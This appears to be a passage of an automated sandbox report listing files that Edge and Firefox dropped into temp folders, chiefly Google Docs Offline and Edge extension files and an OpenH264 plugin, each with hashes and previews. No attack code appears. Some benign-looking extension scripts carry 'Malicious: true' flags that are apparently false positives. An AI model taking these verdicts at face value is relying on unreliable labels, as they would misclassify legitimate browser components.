Preview:	{.. "createnew": {.. "message": "..".. },.. "explanationofflinedisabled": {.. "message": "....................... Google ................ Google ....................".. },.. "explanationofflineenabled": {.. "message": ".............................".. },.. "extdesc": {.. "message": "...................... - ........".. },.. "extname": {.. "message": "Google .......".. },.. "learnmore": {.. "message": "....".. },.. "popuphelptext": {.. "message": "...............................".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8540_1048523084\CRX_INSTALL\_locales\zh_HK\messages.json

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1205
Entropy (8bit):	4.50367724745418
Encrypted:	false
SSDEEP:	24:YWvqB0f7Cr591AhI9Ah8U1F4rw4wtB9G976d6BY9scKUrPoAhNehIrI/uIXS1:YWvl7Cr5JHrw7k7u6BY9trW+rHR
MD5:	524E1B2A370D0E71342D05DDE3D3E774
SHA1:	60D1F59714F9E8F90EF34138D33FBFF6DD39E85A
SHA-256:	30F44CFAD052D73D86D12FA20CFC111563A3B2E4523B43F7D66D934BA8DACE91
SHA-512:	D2225CF2FA94B01A7B0F70A933E1FDCF69CDF92F76C424CE4F9FCC86510C481C9A87A7B71F907C836CBB1CA41A8BEBBD08F68DBC90710984CA738D293F905272
Malicious:	false
Reputation:	unknown
Preview:	{"createnew":{"message":"\u5efa\u7acb\u65b0\u9805\u76ee"},"explanationofflinedisabled":{"message":"\u60a8\u8655\u65bc\u96e2\u7dda\u72c0\u614b\u3002\u5982\u8981\u5728\u6c92\u6709\u4e92\u806f\u7db2\u9023\u7dda\u7684\u60c5\u6cc1\u4e0b\u4f7f\u7528\u300cGoogle \u6587\u4ef6\u300d\uff0c\u8acb\u524d\u5f80\u300cGoogle \u6587\u4ef6\u300d\u9996\u9801\u7684\u8a2d\u5b9a\uff0c\u4e26\u5728\u4e0b\u6b21\u9023\u63a5\u4e92\u806f\u7db2\u6642\u958b\u555f\u96e2\u7dda\u540c\u6b65\u529f\u80fd\u3002"},"explanationofflineenabled":{"message":"\u60a8\u8655\u65bc\u96e2\u7dda\u72c0\u614b\uff0c\u4f46\u60a8\u4ecd\u53ef\u4ee5\u7de8\u8f2f\u53ef\u7528\u6a94\u6848\u6216\u5efa\u7acb\u65b0\u6a94\u6848\u3002"},"extdesc":{"message":"\u7de8\u8f2f\u3001\u5efa\u7acb\u53ca\u67e5\u770b\u60a8\u7684\u6587\u4ef6\u3001\u8a66\u7b97\u8868\u548c\u7c21\u5831\uff0c\u5b8c\u5168\u4e0d\u9700\u4f7f\u7528\u4e92\u806f\u7db2\u3002"},"extname":{"message":"\u300cGoogle \u6587\u4ef6\u300d\u96e2\u7dda\u7248"},"learnmore":{"message":"\u77ad\u89e3\u8a

C:\Users\user\AppData\Local\Temp\scoped_dir8540_1048523084\CRX_INSTALL\_locales\zh_TW\messages.json

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	843
Entropy (8bit):	5.76581227215314
Encrypted:	false
SSDEEP:	12:1HASvgmaCBxNtBtA24ZOuAeOEHGOCBxetBtMHQIJECSUnLRNocPNy6CBhU5OGg1O:1HAEfQkekYyLvRmcPGgzcL2kx5U
MD5:	0E60627ACFD18F44D4DF469D8DCE6D30
SHA1:	2BFCB0C3CA6B50D69AD5745FA692BAF0708DB4B5
SHA-256:	F94C6DDEDF067642A1AF18D629778EC65E02B6097A8532B7E794502747AEB008
SHA-512:	6FF517EED4381A61075AC7C8E80C73FAFAE7C0583BA4FA7F4951DD7DBE183C253702DEE44B3276EFC566F295DAC1592271BE5E0AC0C7D2C9F6062054418C7C27
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": ".....".. },.. "explanationofflinedisabled": {.. "message": ".................. Google ................ Google .................".. },.. "explanationofflineenabled": {.. "message": ".........................".. },.. "extdesc": {.. "message": ".............................".. },.. "extname": {.. "message": "Google .....".. },.. "learnmore": {.. "message": "....".. },.. "popuphelptext": {.. "message": "................................".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8540_1048523084\CRX_INSTALL\_locales\zu\messages.json

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	912
Entropy (8bit):	4.65963951143349
Encrypted:	false
SSDEEP:	24:YlMBKqLnI7EgBLWFQbTQIF+j4h3OadMJzLWnCieqgwLeOvKrCRPE:YlMBKqjI7EQOQb0Pj4heOWqeyaBrMPE
MD5:	71F916A64F98B6D1B5D1F62D297FDEC1
SHA1:	9386E8F723C3F42DA5B3F7E0B9970D2664EA0BAA
SHA-256:	EC78DDD4CCF32B5D76EC701A20167C3FBD146D79A505E4FB0421FC1E5CF4AA63
SHA-512:	30FA4E02120AF1BE6E7CC7DBB15FAE5D50825BD6B3CF28EF21D2F2E217B14AF5B76CFCC165685C3EDC1D09536BFCB10CA07E1E2CC0DA891CEC05E19394AD7144
Malicious:	false
Reputation:	unknown
Preview:	{"createnew":{"message":"DALA ENTSHA"},"explanationofflinedisabled":{"message":"Awuxhunyiwe ku-inthanethi. Ukuze usebenzise i-Google Amadokhumenti ngaphandle koxhumano lwe-inthanethi, iya kokuthi izilungiselelo ekhasini lasekhaya le-Google Amadokhumenti bese uvula ukuvumelanisa okungaxhunyiwe ku-inthanethi ngesikhathi esilandelayo lapho uxhunywe ku-inthanethi."},"explanationofflineenabled":{"message":"Awuxhunyiwe ku-inthanethi, kodwa usangakwazi ukuhlela amafayela atholakalayo noma udale amasha."},"extdesc":{"message":"Hlela, dala, futhi ubuke amadokhumenti akho, amaspredishithi, namaphrezentheshini \u2014 konke ngaphandle kokufinyelela kwe-inthanethi."},"extname":{"message":"I-Google Amadokhumenti engaxhumekile ku-intanethi"},"learnmore":{"message":"Funda kabanzi"},"popuphelptext":{"message":"Bhala, hlela, futhi hlanganyela noma yikuphi lapho okhona, unalo noma ungenalo uxhumano lwe-inthanethi."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir8540_1048523084\CRX_INSTALL\_metadata\verified_contents.json

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	18518
Entropy (8bit):	5.7097772112154646
Encrypted:	false
SSDEEP:	384:cLjrY6QDAwrlbs3jiD1DisLSFqwAqmq9lZjo:2jrSHbMjidLSFxA+lZ8
MD5:	2DC758B77A5496DAB488A0ABD71D4893
SHA1:	C0F2B401A8E68FB6F2C8D6CC8AF2167188C92D92
SHA-256:	D05B97CFF25B0DC4DE9DDABE8A08671BDDC64F0ADFE549BFE53B0C9801C8FBDB
SHA-512:	1BB43A1B470ECA32BF0266E5535B1791F473E2715E16D6D6139F5C359B8BD6E5981FE7DF6CBFA51EAE68C6B5F95A139F59C0ECCB986AEA37F634D722B4CF8546
Malicious:	false
Reputation:	unknown
Preview:	[{"description":"treehash per file","signed_content":{"payload":"eyJjb250ZW50X2hhc2hlcyI6W3siYmxvY2tfc2l6ZSI6NDA5NiwiZGlnZXN0Ijoic2hhMjU2IiwiZmlsZXMiOlt7InBhdGgiOiIxMjgucG5nIiwicm9vdF9oYXNoIjoiZ2NWZy0xWWgySktRNVFtUmtjZGNmamU1dzVIc1JNN1ZCTmJyaHJ4eGZ5ZyJ9LHsiY2Fub25pY2FsX2pzb25fcm9vdF9oYXNoIjoiOE1xa2JXMkFQWkVpbzlQTHlYNVItT3o1bGs5a29sbnlWTWtvYlVabk15YyIsInBhdGgiOiJfbG9jYWxlcy9hZi9tZXNzYWdlcy5qc29uIiwicm9vdF9oYXNoIjoicWhJZ1d4Q0hVTS1mb0plRVlhYllpQjVPZ05vZ3FFYllKTnBBYWRuSkdFYyJ9LHsiY2Fub25pY2FsX2pzb25fcm9vdF9oYXNoIjoiV0E0cW96b3R5ZzJrcUpKU0FEYWNVMGNDbEdJYjlmMmp1ejhYalh0YUhybyIsInBhdGgiOiJfbG9jYWxlcy9hbS9tZXNzYWdlcy5qc29uIiwicm9vdF9oYXNoIjoiWk9BYndwSzZMcUZwbFhiOHhFVTJjRWRTRHVpVjRwRE03aURDVEpNMjJPOCJ9LHsiY2Fub25pY2FsX2pzb25fcm9vdF9oYXNoIjoiQlk4QVRlUUktWHNqLWFSbVZfTi03dHVzUlJyQUNkU25yU3NhT2d3R3pTWSIsInBhdGgiOiJfbG9jYWxlcy9hci9tZXNzYWdlcy5qc29uIiwicm9vdF9oYXNoIjoiUjJVaEZjdTVFcEJfUUZtU19QeGstWWRrSVZqd3l6WEoxdURVZEMyRE9BSSJ9LHsiY2Fub25pY2FsX2pzb25fcm9vdF9oYXNoIjoiX0pLU3pRcGk4TVczZE5WZldwN281STVjX09

C:\Users\user\AppData\Local\Temp\scoped_dir8540_1048523084\CRX_INSTALL\dasherSettingSchema.json

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	854
Entropy (8bit):	4.284628987131403
Encrypted:	false
SSDEEP:	12:ont+QByTwnnGNcMbyWM+Q9TZldnnnGGxlF/S0WOtUL0M0r:vOrGe4dDCVGOjWJ0nr
MD5:	4EC1DF2DA46182103D2FFC3B92D20CA5
SHA1:	FB9D1BA3710CF31A87165317C6EDC110E98994CE
SHA-256:	6C69CE0FE6FAB14F1990A320D704FEE362C175C00EB6C9224AA6F41108918CA6
SHA-512:	939D81E6A82B10FF73A35C931052D8D53D42D915E526665079EEB4820DF4D70F1C6AEBAB70B59519A0014A48514833FEFD687D5A3ED1B06482223A168292105D
Malicious:	false
Reputation:	unknown
Preview:	{. "type": "object",. "properties": {. "allowedDocsOfflineDomains": {. "type": "array",. "items": {. "type": "string". },. "title": "Allow users to enable Docs offline for the specified managed domains.",. "description": "Users on managed devices will be able to enable docs offline if they are part of the specified managed domains.". },. "autoEnabledDocsOfflineDomains": {. "type": "array",. "items": {. "type": "string". },. "title": "Auto enable Docs offline for the specified managed domains in certain eligible situations.",. "description": "Users on managed devices, in certain eligible situations, will be able to automatically access and edit recent files offline for the managed domains set in this property. They can still disable it from Drive settings.". }. }.}.

C:\Users\user\AppData\Local\Temp\scoped_dir8540_1048523084\CRX_INSTALL\eventpage_bin_prod.js

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3422)
Category:	dropped
Size (bytes):	82340
Entropy (8bit):	5.380000995741104
Encrypted:	false
SSDEEP:	1536:1HejtmLJVlfF5z4d+3CNOzcheJm39n3p1jWctudKRwbbwuL:tVIfczcMmhDBt+L
MD5:	4902A531B4D907B2B81AF35251CADF2C
SHA1:	7875EE813923CB16B0F0C4DE3C49C08C85CE52A1
SHA-256:	C3CE23C47225A594425A1290E49CED80FF9F3360D787767B6C45C80314FCF666
SHA-512:	A7B8E713F33B1155D8D45B8B635B318262EA21F3D0856FA0409ED6636F84CB9E38B78FB0E0296C3A253953FBFBF11FD68AF6C5EDB00A17A90A9129161CCDC7EE
Malicious:	true
Reputation:	unknown
Preview:	'use strict';function m(){return function(){}}var p;function aa(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}var ba="function"==typeof Object.defineProperties?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.function ca(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");}var q=ca(this);function t(a,b){if(b)a:{var c=q;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&null!=b&&ba(c,a,{configurable:!0,writable:!0,value:b})}}.t("Symbol",function(a){function b(f){if(this instanceof b)throw new TypeError("Symbol is not a constructor");return new c(d+(f\|\|"")+"_"+e++,f)}function c(f,g){this.g=f;ba(this,"description",{configurable:!

C:\Users\user\AppData\Local\Temp\scoped_dir8540_1048523084\CRX_INSTALL\manifest.json

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2397
Entropy (8bit):	5.423648641408232
Encrypted:	false
SSDEEP:	24:1HEZ4qW4VlELb/KxktGu7VwELb/s2QDkUpvdlmF1exy/Otj1TSVvs:W7WsaLTKQGuxTLT2Rv3mves/OPTSVk
MD5:	807FB975635CF94C90974AF09BAFE5DD
SHA1:	91CF6811EB772D863F003BA0239CCB3025EEDF76
SHA-256:	B05DD3371A32526FDDEE35B45762E86E58DD8FEE0E533B736D6F967EF85101B1
SHA-512:	F6D9AEEFC4E80BC7F091083C6162C8EB07DE5422991A4F006F6D81125320762A69075D9DBA11204BD7EB3AE3A49EC9A8A80194DFE50C092809D743ECEA9A0DC7
Malicious:	false
Reputation:	unknown
Preview:	{.. "author": {.. "email": "docs-hosted-app-own@google.com".. },.. "background": {.. "persistent": false,.. "scripts": [ "eventpage_bin_prod.js" ].. },.. "content_capabilities": {.. "matches": [ "https://docs.google.com/", "https://drive.google.com/", "https://drive-autopush.corp.google.com/", "https://drive-daily-0.corp.google.com/", "https://drive-daily-1.corp.google.com/", "https://drive-daily-2.corp.google.com/", "https://drive-daily-3.corp.google.com/", "https://drive-daily-4.corp.google.com/", "https://drive-daily-5.corp.google.com/", "https://drive-daily-6.corp.google.com/", "https://drive-preprod.corp.google.com/", "https://drive-staging.corp.google.com/" ],.. "permissions": [ "clipboardRead", "clipboardWrite", "unlimitedStorage" ].. },.. "content_security_policy": "script-src 'self'; object-src 'self'",.. "default_locale": "en_US",.. "description": "__MSG_extDesc__",.. "externally_connectable": {.. "matches": [ "htt

C:\Users\user\AppData\Local\Temp\scoped_dir8540_1048523084\CRX_INSTALL\page_embed_script.js

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	291
Entropy (8bit):	4.644891151983713
Encrypted:	false
SSDEEP:	6:2LGX86tj66rU8j6D3bWq2un/XBtzHrH9Mnj63LK6M23:2Q8KVqb2u/Rt3OnjI
MD5:	EE9839F99DED6F38DC561DB846B51E80
SHA1:	DD2128A473C2FF47471400C81EFF416285DE606E
SHA-256:	06E08E421EB7F0FE7959D68E27D40A9146A54503090D95CFAC6F2FFD72A78769
SHA-512:	C8D77607F00CB8012CD056CE61CB77918EC43621270511303E09577F89CC57D4954E22E2C8C3FB1029AAE29F8142DAAE2E938CD5590AD0E5DE6DB1208AFEF874
Malicious:	true
Reputation:	unknown
Preview:	(function(){window._docs_chrome_extension_exists=!0;window._docs_chrome_extension_features_version=2;window._docs_chrome_extension_permissions="alarms clipboardRead clipboardWrite storage unlimitedStorage offscreen".split(" ");window._docs_chrome_extension_manifest_version=2;}).call(this);.

C:\Users\user\AppData\Local\Temp\scoped_dir8540_1048523084\d4dc4bde-1a64-4d0e-b33e-40ef35b7a720.tmp

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	91671
Entropy (8bit):	7.8774767243532695
Encrypted:	false
SSDEEP:	1536:B2Y2RUm46OClYKr5DXyzN0iFD8xPT4jobgdNhBKDyU4W3NrUeNWy4cSbJUl4yv:8L9prNyzFB8hGXnhouer/W0KJ+4i
MD5:	2BBD469CC894351258066DB2023D206B
SHA1:	3EF9EA3B62E43301B6287361B16AC01F5780AD35
SHA-256:	70CE55C69127635BCB579E1878C4C74F7707BD708CD57273E8B4891459A6A0EF
SHA-512:	421F3D78F5C132243B78C73FE7660BB3E045E83E30C0B3A2D6597E0C9E3C19DD4681491981E3C3A649C1E4E2A91BD982529234DA8DA1BFFB46651B74321E34D4
Malicious:	false
Reputation:	unknown
Preview:	Cr24....e"........0.."0....H.............0.........^...1"...w.g..t..2J.G1.)X4..=&.?[j,Lz..j.u.e[I.qBa/X...P.h..L.....2%3_o.......H.)'.=.e...?.......j..3UH.\|.X.M..u..s[...?$....F%....I....)..,-./.e5).f..O.q.^........9..(.._.ph2..^.YBPXf_8....h[.v...S.1`.#..5.SF.:f-.#.65.i..b.]9...y2.'....k[........V....h.[..9..?..R...a.y..x....P..o...Tc.<^.N..S.....c$j.jZ...t.A.3...H..._....Q.Sx.{7...<......wO.......%>..ZGs......K...&..ua#.>......E.a..2u;...\|.^yU........o......!.;7..E;.3.~..B......W.a!....O.q.z...yd...)3.6...f..?.B..G.......]'-.....[0Y0....H.=.....H.=....B..............r...2..+Y.I...k..bR.j5Sl..8.......H"i.-l..`.Q.{...F0D. ..O7..~.y.G..!s(........Faul.... .G..GZ.. <tS..28/22dlO.V...&...".>...........\|]s.<{._.........l...X".}.:.{...A`....y.{..y..v.=....d..\|-].k-.........4.O.......4myn.ij>...?.......?..87......Sy.R..k.U.kI.Z..........\|,.....[........(C=..[..t4..c....>....=..^.._.._P.......z.}).;.9>}./m,..Z..u...`.g6...P.....k

C:\Users\user\AppData\Local\Temp\scoped_dir8540_572651988\CRX_INSTALL\_metadata\verified_contents.json

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1753
Entropy (8bit):	5.89155070833211
Encrypted:	false
SSDEEP:	48:Pxpr7Xka2NnDpfsfNI1Blg1JUgKm3LJ/JVQXSwxVWo:L3XwNfmKklvQC9o
MD5:	FA0103526BC8F137249060BAEA7EB334
SHA1:	D7CCC22E974F3EFA17E19532E257443A82290714
SHA-256:	D7B6CE9D8657F2E6D13B53B8315EC1BC278F6D9727486D838F7985C0CC699B9A
SHA-512:	F733913883F0D3998B272E400CA6AA8A153D328CC6C36EAFA76E3E8ECECAA6CF89B37E256A015959291D7BE3A2AF9F785B25F5707FFD9CEC7C8DD33DC8BF7E05
Malicious:	false
Reputation:	unknown
Preview:	[.. {.. "description": "treehash per file",.. "signed_content": {.. "payload": "eyJpdGVtX2lkIjoiam1qZmxnanBjcGVwZWFmbW1nZHBma29na2doY3BpaGEiLCJpdGVtX3ZlcnNpb24iOiIxLjIuMCIsInByb3RvY29sX3ZlcnNpb24iOjEsImNvbnRlbnRfaGFzaGVzIjpbeyJmb3JtYXQiOiJ0cmVlaGFzaCIsImRpZ2VzdCI6InNoYTI1NiIsImJsb2NrX3NpemUiOjQwOTYsImhhc2hfYmxvY2tfc2l6ZSI6NDA5NiwiZmlsZXMiOlt7InBhdGgiOiJjb250ZW50LmpzIiwicm9vdF9oYXNoIjoiWW5VVklaVC1qbnRad3E1NFhSMTNrUFJDVktncDI1a3VFRmU4NFNUVkNNcyJ9LHsicGF0aCI6ImNvbnRlbnRfbmV3LmpzIiwicm9vdF9oYXNoIjoieUI4cVJZVmQ1cjdDRk5odXFqbkYydVhGZTNOQVF0enk5azh3bW5qMjZYVSJ9LHsicGF0aCI6Im1hbmlmZXN0Lmpzb24iLCJyb290X2hhc2giOiJrRS1vVXlDd1otazB5S3JpdkYtbGZCbWQ2N2tFSm9CWE05TlNhbHRERklJIn1dfV19",.. "signatures": [.. {.. "header": {.. "kid": "publisher".. },.. "protected": "eyJhbGciOiJSUzI1NiJ9",.. "signature": "GtI6tGWtTWPfGtw1EiVP9GA4apFSQ733QH7kz_iNOxGMu4rhnGN5fWId7_wPzB0guYbp4zMhae8iGLy6ttZxH5ZASMjchFNF_-0NJUSq30B9sH45bpmgpbVxdWG0hJ095odmP

C:\Users\user\AppData\Local\Temp\scoped_dir8540_572651988\CRX_INSTALL\content.js

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (7633), with no line terminators
Category:	dropped
Size (bytes):	9417
Entropy (8bit):	6.143882972177462
Encrypted:	false
SSDEEP:	192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3zoc/ZBMCg:+ThBVq3npozftROQIyVfjRZGB365Ey9F
MD5:	31A2B4AD6ADE485A9C85C5D8BA0B1BB5
SHA1:	5AD37BF6E5ADF2BE8F8C841C44E191D2645F6AE0
SHA-256:	607F1603E5A06EF8F1FF09A93EDF963FD7CEB8EA587D479FAB140E15713E1D60
SHA-512:	0D223571E72582F16168ACE8D4CAE26F286C7D25906C74A91DA1642294BD43DE90DC21706DFD1F08A66B2663E5EF2142104321689CDE09AE226913672E69AAF6
Malicious:	true
Reputation:	unknown
Preview:	(()=>{"use strict";var e={1:(e,o)=>{Object.defineProperty(o,"__esModule",{value:!0}),o.newCwsPromotionalButtonCta=o.chromeToEdgeCwsButtonCtaMapping=void 0,o.chromeToEdgeCwsButtonCtaMapping={"...... ... Chrome":"...... ....","........ .. Chrome":".....",........:"..........",".......... .. Chrome":"..........","Chrome . .....":"...","Chrome .... ....":"....","Afegeix a Chrome":"Obt.n","Suprimeix de Chrome":"Suprimeix","P.idat do Chromu":"Z.skat","Odstranit z Chromu":"Odebrat","F.j til Chrome":"F.","Fjern fra Chrome":"Fjerne",Hinzuf.gen:"Abrufen","Aus Chrome entfernen":"Entfernen","Add to Chrome":"Get","Remove from Chrome":"Remove","A.adir a Chrome":"Obtener",Desinstalar:"Quitar","Agregar a Chrome":"Obtener","Eliminar de Chrome":"Quitar","Lisa Chrome'i":"Hangi","Chrome'ist eemaldamine":"Eemalda",.......H:"........","......... ... .. Chr

C:\Users\user\AppData\Local\Temp\scoped_dir8540_572651988\CRX_INSTALL\content_new.js

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (7986), with no line terminators
Category:	dropped
Size (bytes):	9770
Entropy (8bit):	6.152063423880213
Encrypted:	false
SSDEEP:	192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3z94o2bpEH:+ThBVq3npozftROQIyVfjRZGB365Ey9U
MD5:	5D88A17EB2F78ED5F4C766A9601E4066
SHA1:	03915AB1933DC1C2FDBF7240AEA75A0DE554D279
SHA-256:	177D0942524E20C6C867CCF3FB749FF444A6F0638955D7F4E819BB7CEFC14C79
SHA-512:	8C4759119A3A307F4628A8D104CC6C4B1C1BA6DBAA30ED26097D4A615872A0FD112A31077C25FCB7587E49A1B446E2B22C7F47D426BB1F64522A53F59E0347F8
Malicious:	true
Reputation:	unknown
Preview:	(()=>{"use strict";var e={1:(e,o)=>{Object.defineProperty(o,"__esModule",{value:!0}),o.newCwsPromotionalButtonCta=o.chromeToEdgeCwsButtonCtaMapping=void 0,o.chromeToEdgeCwsButtonCtaMapping={"...... ... Chrome":"...... ....","........ .. Chrome":".....",........:"..........",".......... .. Chrome":"..........","Chrome . .....":"...","Chrome .... ....":"....","Afegeix a Chrome":"Obt.n","Suprimeix de Chrome":"Suprimeix","P.idat do Chromu":"Z.skat","Odstranit z Chromu":"Odebrat","F.j til Chrome":"F.","Fjern fra Chrome":"Fjerne",Hinzuf.gen:"Abrufen","Aus Chrome entfernen":"Entfernen","Add to Chrome":"Get","Remove from Chrome":"Remove","A.adir a Chrome":"Obtener",Desinstalar:"Quitar","Agregar a Chrome":"Obtener","Eliminar de Chrome":"Quitar","Lisa Chrome'i":"Hangi","Chrome'ist eemaldamine":"Eemalda",.......H:"........","......... ... .. Chr

C:\Users\user\AppData\Local\Temp\scoped_dir8540_572651988\CRX_INSTALL\manifest.json

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	962
Entropy (8bit):	5.698155584916808
Encrypted:	false
SSDEEP:	24:1Hg9+D3DRnbuF2+sUrzUu+Y9VwE+Fg41T1zn:NBqY+6E+F7Jzn
MD5:	7B5D6D911B4201D67D752664C7FA1E2D
SHA1:	D6E04EF6F1BCDAF38CB8F8313D5CB6645EF8E496
SHA-256:	F4797B137EF6F80F2C9C41F45880064163C86D22597C1015B0FF801766B9957C
SHA-512:	08D739B7FA850B32ABDB6731D8F6D4A171A6CEA5A1C8706FA8EB479DE1616CE32E17970EB40968124D29477507A97ED50CA41A98623B355384CFFDC86BCAB25A
Malicious:	false
Reputation:	unknown
Preview:	{.. "content_scripts": [ {.. "js": [ "content.js" ],.. "matches": [ "https://chrome.google.com/webstore/" ].. }, {.. "js": [ "content_new.js" ],.. "matches": [ "https://chromewebstore.google.com/" ].. } ],.. "description": "Edge relevant text changes on select websites to improve user experience and precisely surfaces the action they want to take.",.. "key": "MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAu06p2Mjoy6yJDUUjCe8Hnqvtmjll73XqcbylxFZZWe+MCEAEK+1D0Nxrp0+IuWJL02CU3jbuR5KrJYoezA36M1oSGY5lIF/9NhXWEx5GrosxcBjxqEsdWv/eDoOOEbIvIO0ziMv7T1SUnmAA07wwq8DXWYuwlkZU/PA0Mxx0aNZ5+QyMfYqRmMpwxkwPG8gyU7kmacxgCY1v7PmmZo1vSIEOBYrxl064w5Q6s/dpalSJM9qeRnvRMLsszGY/J2bjQ1F0O2JfIlBjCOUg/89+U8ZJ1mObOFrKO4um8QnenXtH0WGmsvb5qBNrvbWNPuFgr2+w5JYlpSQ+O8zUCb8QZwIDAQAB",.. "manifest_version": 3,.. "name": "Edge relevant text changes",.. "update_url": "https://edge.microsoft.com/extensionwebstorebase/v1/crx",.. "version": "1.2.0"..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8540_572651988\de0487fa-74c1-4873-bb0d-df473b3121d2.tmp

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	10987
Entropy (8bit):	7.9533289149420625
Encrypted:	false
SSDEEP:	192:BEhlw81PmHlmu6H0wbcosQxhTHGPJz4y4iqooeIfU+TEsegckOE7A4t:eP1+H8h0YNF3rGP+y4eIfUoEtkO+AA
MD5:	7AA0C0B17FEED14023C4FB189AA6072D
SHA1:	0B571B13F28AFCD96915108042BEB13A623A3CDA
SHA-256:	78AD07BCACBCB23C274D025F38746FF766FA4EBA41EE1AA68C238E329837DC09
SHA-512:	9C0E3D35EB32E8C1E907C6D1C45776235E31B979C8BE05767E6802186EDDB4D9EE337972A39E150DBE1C464E8BA391F401ABC69FB41700DA4E70E2EC624901E6
Malicious:	false
Reputation:	unknown
Preview:	Cr24..............0.."0....H.............0.........N.......E#......9e.u.q...VYY..@.+.C..k.O..bK.`..6.G..%.....3Z...e _.6....F..1p..K.Z......./ .3...OT..`..0...Y...FT..43.th.y...}....p.L...2S.&i.`..o...f.oH.....N..:..ijT.3.F{.0.,.f?'f.CQt;b_"Pc.. ..~S.I.c.8Z.;.....{G.a......k...>.`.o..%.$>;.....g........l....O.<. ]...U....E_.%=...N/`.^M^..<...t....g...z..^.H.Z.-....P.[F..@..`?.9X.%.. .7.}.Ul#.^....kZ.~n....N`..}S.V....$.co.....&..A/..?~aR.I..3S...`q5........AX....h.s.[h..`......3..._sQ...k.+....;..Jm.H.......k.-.<...%.?`.d7ti.p..D:.........0.."0....H.............0.........^SUd%Q.L].......Cl2o...\[.....'*...;R=....N.C5....d. .....J.C>u.kr..Y..syJC.XS.q..E.n?....(G.5..)2.G..!.M.SS.{..U....!.EE..M[.#qs.A.1...g)nQ.c..G....Bd..7... .O.BI..KXQ..4.d.K.0......g.....-p....Z.E{...M&.~n.TE7..{0....5.#.C+3.y)pd9.e..............U.:..R.....\|.0+....Z.......s.<.=e.pkS..>.b.)..M-%.......Oe.A.W.x]\|.4o....ij..c...La$.%.W.KU.A#.8....9..F}....?...

C:\Users\user\AppData\Local\Temp\tmpaddon

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	453023
Entropy (8bit):	7.997718157581587
Encrypted:	true
SSDEEP:	12288:tESTeqTI2r4ZbCgUKWKNeRcPMb6qlV7hVZe3:tEsed2Xh9/bdzZe3
MD5:	85430BAED3398695717B0263807CF97C
SHA1:	FFFBEE923CEA216F50FCE5D54219A188A5100F41
SHA-256:	A9F4281F82B3579581C389E8583DC9F477C7FD0E20C9DFC91A2E611E21E3407E
SHA-512:	06511F1F6C6D44D076B3C593528C26A602348D9C41689DBF5FF716B671C3CA5756B12CB2E5869F836DEDCE27B1A5CFE79B93C707FD01F8E84B620923BB61B5F1
Malicious:	false
Reputation:	unknown
Preview:	PK.........bN...R..........gmpopenh264.dll..\|.E.0.=..I.....1....4f1q.`.........q.....'+....hm{.z..o_.{w........$..($A!...\|L...B&A2.s.{..Dd......c.U.U..9u.S...K.l`...../.d.-....\|.....&....9......wn..x......i.#O.+.Y.l......+....,3.3f..\..c.SSS,............N...GG...F.'.&.:'.K.Z&.>.@.g..M...M.`............ZR....^jg.G.Kb.o~va.....<Z..1.#.O.e.....D..X..i..$imBW..Q&.......P.....,M.,..:.c...-...\...........-i.K.I..4.a..6.....Ov=...W..F.CH.>...a.'.x...#@f...d..u.1....OV.1o}....g.5.._.3.J.Hi.Z.ipM....b.Z....%.G..F................/..3.q..J.....o...%.g.N..}..).3.N%.!..q........^I.m..~...6.#.~+.....A...I]r...x...<IYj....p0..`S.M@.E..f.=.;!.@.....E..E....... .0.n....Jd..d......uM.-.qI.lR..z..=}..r.D.XLZ....x.$..\|c.1.cUkM.&.Qn]..a]t.h...!.6 7..Jd.DvKJ"Wgd*%n...w...Jni.inmr.@M.$'Z.s....#)%..Rs..:.h....R....\..t.6..'.g.........Uj+F.cr:\|..!..K.W.Y...17......,....r.....>.N..3.R.Y.._\...Ir.DNJdM... .k...&V-....z.%...-...D..i..&...6....7.2T).>..0..%.&.

